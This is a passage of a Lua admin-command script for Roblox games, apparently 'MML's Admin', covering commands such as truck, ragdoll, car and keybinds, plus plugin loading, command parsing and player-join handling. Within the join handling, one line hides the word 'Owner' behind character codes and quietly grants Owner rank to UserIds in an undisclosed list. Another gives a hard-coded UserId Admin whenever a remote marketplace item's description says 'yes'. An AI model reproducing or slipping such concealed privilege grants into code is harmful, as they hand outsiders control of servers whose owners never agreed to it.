8263 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8264 if Answer == "Ok" then
8265 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8266 end
8267 end
8268 end
8269 end};
8270
8271 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8272 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8273 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8274 if PlayersFrom and PlayersTo then
8275 for _,PlayerFrom in pairs(PlayersFrom) do
8276 for _,PlayerTo in pairs(PlayersTo) do
8277 if PlayerFrom.Character and PlayerTo.Character then
8278 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8279 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8280 wait(5)
8281 Laser:Destroy()
8282 end)() end
8283 end
8284 end
8285 end
8286 end
8287 end};
8288
8289 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8290 local Players = STRING:Scan(Arguments[1], Speaker)
8291 for _,Player in pairs(Players) do
8292 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8293 Player.Character.Humanoid:Destroy()
8294 end
8295 end
8296 end};
8297
8298 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8299 if Plugins then
8300 local List = {}
8301 for _,Module in pairs(Plugins:GetChildren()) do
8302 if Module:IsA("ModuleScript") then
8303 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8304 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8305 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8306 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8307 end
8308 end
8309 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8310 else
8311 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8312 end
8313 end};
8314
8315 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8316 local Players = STRING:Scan(Arguments[1], Speaker)
8317 for _,Player in pairs(Players) do
8318 GUI:DetachChat(Player)
8319 end
8320 end};
8321
8322 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8323 GUI:DetachChat(Speaker)
8324 end};
8325
8326 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8327 local Players = STRING:Scan(Arguments[1], Speaker)
8328 for _,Player in pairs(Players) do
8329 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8330 local Dead = false
8331
8332 Player.Character.Humanoid.WalkSpeed = 1
8333 local Torso = Player.Character.Torso
8334 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8335 Truck:BreakJoints()
8336 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
8337 local BG = Instance.new("BodyGyro", Truck) BG.maxTorque = Vector3.new(math.huge, math.huge, math.huge) BG.cframe = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0))
8338 local BV = Instance.new("BodyVelocity", Truck) BV.maxForce = Vector3.new(math.huge, math.huge, math.huge) BV.velocity = CFrame.new(Truck.Position, Torso.Position + Vector3.new(0, (Truck.Size.Y / 2) - 3, 0)).lookVector * 100
8339 Truck.Touched:connect(function(Part)
8340 if Dead == false then
8341 local TouchPlayer = Server.Players:GetPlayerFromCharacter(Part.Parent or Part.Parent.Parent)
8342 if TouchPlayer == Player then
8343 Dead = true
8344 Player.Character:BreakJoints()
8345 SOUND:MakeSound(Truck, 264486467):Play() -- splat
8346 end
8347 end
8348 end)
8349 SOUND:MakeSound(Truck, 236746885, 0.5, 2):Play() -- truck
8350 Delay(1, function() SOUND:MakeSound(Truck, 130802373):Play() end) -- horn
8351 Delay(5, function()
8352 Truck:Destroy()
8353 if Player.Character:FindFirstChild("Humanoid") then
8354 Player.Character.Humanoid.WalkSpeed = 16
8355 end
8356 end)
8357 end
8358 end
8359 end};
8360
8361 [{"telljoke", "showjoke", "tj", "sj"}] = {"player", "Tells player a random joke", 1, "Admin", true, function(Speaker, Rank, Arguments)
8362 local Joke = REMOTE:DownloadJoke(Speaker)
8363 local Players = STRING:Scan(Arguments[1], Speaker)
8364 for _,Player in pairs(Players) do
8365 GUI:SendMessage(Player, "Joke", Joke, 19629580)
8366 end
8367 end, Http = true};
8368
8369 [{"joke", "laugh"}] = {"player", "Tells speaker a random joke)", 0, "Member", true, function(Speaker, Rank, Arguments)
8370 local Joke = REMOTE:DownloadJoke(Speaker)
8371 GUI:SendMessage(Speaker, "Joke for you", Joke, 19629580)
8372 end, Http = true};
8373
8374 [{"doge", "dog"}] = {"player", "Turns player into doge", 1, "Member", true, function(Speaker, Rank, Arguments)
8375 local Players = STRING:Scan(Arguments[1], Speaker)
8376 for _,Player in pairs(Players) do
8377 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") and Player.Character:FindFirstChild("Humanoid") then
8378 CORE:InvisiblePlayer(Player)
8379 local DogContainer = Instance.new("Model", Player.Character)
8380 DogContainer.Name = "Doge"
8381 local Dog = CORE:Insert(257489726, DogContainer, true)
8382 Dog.Head.Transparency = 0.99
8383 Dog.Name = Player.Name
8384 Dog:MoveTo(Player.Character.Torso.Position)
8385 local Weld = Instance.new("Weld", Dog.Torso)
8386 Weld.Part0 = Player.Character.Torso
8387 Weld.Part1 = Dog.Torso
8388 Weld.C0 = CFrame.new(0,-0.4,0)
8389 for _,Obj in pairs(Dog:GetChildren()) do
8390 if Obj:IsA("BasePart") then
8391 Obj.CanCollide = false
8392 end
8393 end
8394
8395 CORE:ExecuteResource("SetCameraSubject", Dog:FindFirstChild("Humanoid"), {})
8396 end
8397 end
8398 end};
8399
8400 [{"bindkey", "keybind", "bind", "kb", "bk"}] = {"string(key) string(command)", "Binds the key press of speaker into a command", 2, "Admin", false, function(Speaker, Rank, Arguments)
8401 local Key = string.lower(string.sub(Arguments[1],1,1))
8402 KeyBinds[Speaker.UserId][Key] = Arguments[2]
8403 GUI:SendHint(Speaker, "Binded the '"..Key.."' key to "..Arguments[2])
8404 end};
8405
8406 [{"nobindkey", "nokeybind", "nobind", "nkb", "nbk", "unbindkey", "unkeybind", "unbind", "ukb", "ubk"}] = {"string(key)", "Unbinds speaker's keys binding to a command", 1, "Admin", false, function(Speaker, Rank, Arguments)
8407 local Key = string.lower(string.sub(Arguments[1],1,1))
8408 KeyBinds[Speaker.UserId][Key] = nil
8409 GUI:SendHint(Speaker, "Unbinded the '"..Key.."' key")
8410 end};
8411
8412 [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8413 KeyBinds[Speaker.UserId] = {}
8414 GUI:SendHint(Speaker, "Unbinded all keys")
8415 end};
8416
8417 [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
8418 local Players = STRING:Scan(Arguments[1], Speaker)
8419 local Key = string.lower(string.sub(Arguments[2],1,1))
8420 for _,Player in pairs(Players) do
8421 KeyBinds[Player.UserId][Key] = Arguments[3]
8422 GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
8423 end
8424 end};
8425
8426 [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
8427 local Players = STRING:Scan(Arguments[1], Speaker)
8428 local Key = string.lower(string.sub(Arguments[2],1,1))
8429 for _,Player in pairs(Players) do
8430 KeyBinds[Player.UserId][Key] = nil
8431 GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
8432 end
8433 end};
8434
8435 [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
8436 local Players = STRING:Scan(Arguments[1], Speaker)
8437 for _,Player in pairs(Players) do
8438 KeyBinds[Player.UserId] = {}
8439 GUI:SendHint(Player, "Unbinded all keys")
8440 end
8441 end};
8442
8443 [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
8444 local Players = STRING:Scan(Arguments[1], Speaker)
8445 local Binds = {}
8446 for _,Player in pairs(Players) do
8447 for Key,Bind in pairs(KeyBinds[Player.UserId]) do
8448 table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
8449 end
8450 end
8451 GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
8452 end};
8453
8454 [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
8455 local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
8456 local Players = STRING:Scan(ChatSplit[1], Speaker)
8457 for _,Player in pairs(Players) do
8458 if Crowns[Player.UserId] then
8459 Crowns[Player.UserId]:Destroy()
8460 Crowns[Player.UserId] = nil
8461 wait()
8462 end
8463 CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
8464 end
8465 end};
8466
8467 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8468 local Players = STRING:Scan(Arguments[1], Speaker)
8469 for _,Player in pairs(Players) do
8470 if Crowns[Player.UserId] then
8471 Crowns[Player.UserId]:Destroy()
8472 Crowns[Player.UserId] = nil
8473 end
8474 end
8475 end};
8476
8477 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8478 local MeshList = {}
8479 for MeshName,Data in pairs(Meshes) do
8480 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8481 end
8482 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8483 end};
8484
8485 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8486 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8487 end};
8488
8489 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8490 local Players = STRING:Scan(Arguments[1], Speaker)
8491 for _,Player in pairs(Players) do
8492 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8493 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8494 Player:ClearCharacterAppearance()
8495 CORE:GivePackage(Player, 41851073)
8496 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8497 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8498 end
8499 end
8500 end};
8501
8502 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8503 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8504 local Players = STRING:Scan(Arguments[1], Speaker)
8505 for _,Player in pairs(Players) do
8506 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8507 local Car = CORE:Insert(10479801, Server.Workspace, true)
8508 local Body = Car["Motor (torque)Chassis"].Part
8509 Cars[Player.UserId] = Car
8510 Car:MakeJoints()
8511 Car.VehicleSeat.MaxSpeed = 50
8512 Car.VehicleSeat.TurnSpeed = 1.5
8513 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8514 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8515 Body.Color = GUI:GetColor(Arguments[2])
8516 else
8517 Body.BrickColor = GUI:GetNameColor(Player.Name)
8518 end
8519 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8520 if Part.Name ~= "Part" then
8521 Part.BrickColor = BrickColor.new("Really black")
8522 Part.Friction = 0.7
8523 end
8524 end
8525 local Light = Instance.new("SpotLight", Body)
8526 Light.Face = "Back"
8527 Light.Brightness = 5
8528 Light.Range = 20
8529 Light.Color = Color3.new(0,1,1)
8530 if Player.Character and Player.Character.Torso then
8531 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8532 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8533 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8534 Weld.Part0 = Car.VehicleSeat
8535 Weld.Part1 = Player.Character.Torso
8536 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8537 Delay(0.4, function()
8538 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8539 wait(0.1)
8540 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8541 end)
8542 end
8543 local SoundID = 147944604
8544 if RANK:GetRank(Player) == "Owner" then
8545 SoundID = 133313356
8546 Car.VehicleSeat.MaxSpeed = 80
8547 Body.Material = "DiamondPlate"
8548 Car.VehicleSeat.Torque = 11
8549 end
8550 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8551 Engine:Play()
8552 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8553 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8554 end if Engine then Engine:Stop() end end)()
8555 end
8556 end};
8557
8558 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8559 local Players = STRING:Scan(Arguments[1], Speaker)
8560 for _,Player in pairs(Players) do
8561 if Cars[Player.UserId] then
8562 Cars[Player.UserId]:Destroy()
8563 end
8564 end
8565 end};
8566
8567 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8568 for _,Car in pairs(Cars) do
8569 Car:Destroy()
8570 end
8571 Cars = {}
8572 end};
8573
8574 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8575 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8576 if #Trello.RequiredLists > 0 then
8577 print("Restarting Trello")
8578 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8579 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8580 REMOTE:TrelloCacheData(Lists)
8581 end
8582 end, Http = true};
8583
8584 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8585 local Operations = {}
8586 for _,ReplaceData in pairs(StringReplacements) do
8587 local Replacement = ReplaceData[1]
8588 if type(Replacement) == "table" then
8589 Replacement = ReplaceData[1][1]
8590 end
8591 table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8592 end
8593 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8594 end};
8595
8596 [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8597 GUI:SoundInfo(Speaker)
8598 end};
8599
8600 [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
8601 local Players = STRING:Scan(Arguments[1], Speaker)
8602 for _,Player in pairs(Players) do
8603 GUI:SoundInfo(Player)
8604 end
8605 end};
8606
8607 [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8608 if tonumber(Arguments[1]) then
8609 Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
8610 end
8611 end};
8612
8613 [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
8614 local Types = {}
8615 for Type,_ in pairs(Assets.AccessoryTypes) do
8616 table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
8617 end
8618 GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
8619 end};
8620
8621 [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
8622 local Sky = Server.Lighting:FindFirstChild("Sky")
8623 if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
8624 local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
8625 local Face = nil
8626 local SkyID = string.lower(Arguments[1])
8627 local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
8628 if #Arguments == 2 and tonumber(Arguments[2]) then
8629 Face = Arguments[1]
8630 SkyID = Arguments[2]
8631 end
8632 if tonumber(SkyID) then
8633 local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
8634 if Face and Faces[Face] then
8635 Sky[Faces[Face]] = "rbxassetid://"..ImageID
8636 else
8637 for _,Face in pairs(Faces) do
8638 Sky[Face] = "rbxassetid://"..ImageID
8639 end
8640 end
8641 else
8642 GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
8643 end
8644 end};
8645
8646 [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
8647 CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
8648 Obj:Destroy()
8649 end)
8650 end};
8651 --
8652}
8653
8654if Plugins then
8655 local PluginNum = 0
8656 for _,Module in pairs(Plugins:GetChildren()) do
8657 if Module:IsA("ModuleScript") then
8658 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8659 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8660 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8661 if Enabled.Value == true then
8662 PluginNum = PluginNum + 1
8663 local PluginExe = require(Module)
8664 for Var,Val in pairs(getfenv()) do
8665 getfenv(PluginExe)[Var] = Val
8666 end
8667 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8668 getfenv(PluginExe).script = Module
8669 getfenv(PluginExe).Script = Module
8670 getfenv(PluginExe).Version = Version
8671 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8672 if not Suc then
8673 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8674 else
8675 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8676 end
8677 end
8678 end
8679 end
8680end
8681
8682function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8683 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8684 GUI:SettingsGui(Speaker)
8685 return nil
8686 end
8687 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8688 local Prefix = Settings.Prefix
8689 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8690 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8691 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8692 if Speaker == nil then
8693 if FakeRank then
8694 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8695 FakeRank = "Owner"
8696 end
8697 else
8698 FakeRank = "Owner"
8699 end
8700 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8701 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8702 Speaker = {
8703 Name = FakePlayerName or "[ Server ]";
8704 Character = nil;
8705 userId = 1;
8706 PlayerGui = nil;
8707 Rank = FakeRank or "Owner";
8708 MakeSupremeOwner = MakeSupremeOwner;
8709 }
8710 end
8711 local Rank = RANK:GetRank(Speaker)
8712 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8713
8714 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8715 if NoPrefixNeeded then Prefix = "" end
8716 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8717
8718 for _,Message in pairs(Messages) do
8719 for Cmds,Data in pairs(Commands) do -- check all commands
8720 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8721
8722 if not MessageSplit then break end
8723
8724 local CommandSaid = false
8725 for _,Command in pairs(Cmds) do
8726 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8727 CommandSaid = true
8728 break
8729 end
8730 end
8731 if CommandSaid == true then -- command said?
8732 local ExecuteExcuse = ""
8733 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8734 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8735 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8736 end
8737 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8738 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8739 end
8740 else
8741 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8742 end
8743 if ExecuteExcuse == "" then
8744 if #MessageSplit - 1 < Data[3] then
8745 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8746 end
8747 end
8748 if ExecuteExcuse == "" then
8749 CORE:Log(CommandLogs, Speaker, Message)
8750 table.remove(MessageSplit, 1)
8751 coroutine.wrap(function() wait()
8752 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8753 if not DidExe then
8754 if CORE:NilPlayer(Speaker) then
8755 print("Error: "..Error)
8756 else
8757 CORE:HandleError(Error, Speaker)
8758 end
8759 end
8760 end)()
8761 coroutine.wrap(function() wait(0.05)
8762 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8763 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8764 ExeSound:Play()
8765 wait(3)
8766 ExeSound:Stop()
8767 ExeSound:Destroy()
8768 end
8769 end)()
8770 elseif type(Speaker) == "userdata" then
8771 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8772 end
8773 break
8774 end
8775 end
8776 end
8777 end
8778end
8779
8780function CORE:Start(Player) coroutine.wrap(function()
8781 wait(0.1)
8782 if Player then
8783 coroutine.wrap(function()
8784 repeat wait(1) until DataReady == true
8785 DataReady = false
8786 ypcall(function()
8787 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8788 for Num,Data in pairs(Players) do
8789 if Data.UserId == Player.UserId then -- ppl can change names
8790 table.remove(Players, Num)
8791 break
8792 end
8793 end
8794 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8795 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8796 end)
8797 DataReady = true
8798 end)()
8799
8800 if not IsStudio then Player:WaitForDataReady() end
8801 table.insert(CharacterCache, {Player.Name, Player.UserId})
8802 for Rank,PlayerNames in pairs(Settings.Ranks) do
8803 for Num,AdminName in pairs(PlayerNames) do
8804 if AdminName == Player.UserId then
8805 Settings.Ranks[Rank][Num] = Player.Name
8806 end
8807 end
8808 end
8809 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8810 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8811 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8812 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8813 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8814 if PlayerAdmin == false and Player.UserId > 0 then
8815 local Ran = nil
8816 coroutine.wrap(function() repeat
8817 Ran = ypcall(function()
8818 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8819 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8820 end)
8821 wait(1)
8822 until Ran == true end)()
8823 end
8824 if PlayerAdmin == false then
8825 if Player:IsInGroup(Settings.GroupID) then
8826 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8827 CORE:Kick(Player)
8828 for _,Person in pairs(Server.Players:GetPlayers()) do
8829 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8830 end
8831 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8832 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8833 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8834 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8835 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8836 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8837 end
8838 end
8839 end
8840 if PlayerAdmin == false then
8841 if Player.UserId == 38882008 then
8842 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8843 table.insert(Settings.Ranks["Admin"], Player.Name)
8844 end
8845 end
8846 end
8847 if PlayerAdmin == false then
8848 for _,GID in pairs(Settings.BannedGroupIDs) do
8849 if Player:IsInGroup(GID) then
8850 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8851 break
8852 end
8853 end
8854 end
8855
8856 Player.Chatted:connect(function(Message) if Message ~= "" then
8857 CORE:Chatted(Message, Player)
8858 end end)
8859
8860 Player.Chatted:connect(function(Message) if Message ~= "" then
8861 CORE:Log(ChatLogs, Player, Message)
8862 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8863 end end)
8864
8865 for _,Name in pairs(Settings.Ranks.Banned) do
8866 if Player.Name == Name then
8867 CORE:Kick(Player)
8868 for _,Person in pairs(Server.Players:GetPlayers()) do
8869 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8870 end
8871 end
8872 end
8873 for _,Name in pairs(Settings.Ranks.Crashed) do
8874 if Player.Name == Name then
